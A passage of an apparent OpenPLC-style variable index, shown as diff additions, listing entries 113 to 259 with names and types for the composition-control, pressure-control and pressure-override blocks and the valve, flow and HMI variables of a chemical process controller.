+113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +120;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +121;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +136;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +137;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +138;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +139;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +141;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +144;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +156;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +157;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +158;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +159;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +160;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +162;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +165;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +171;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +180;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +182;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; 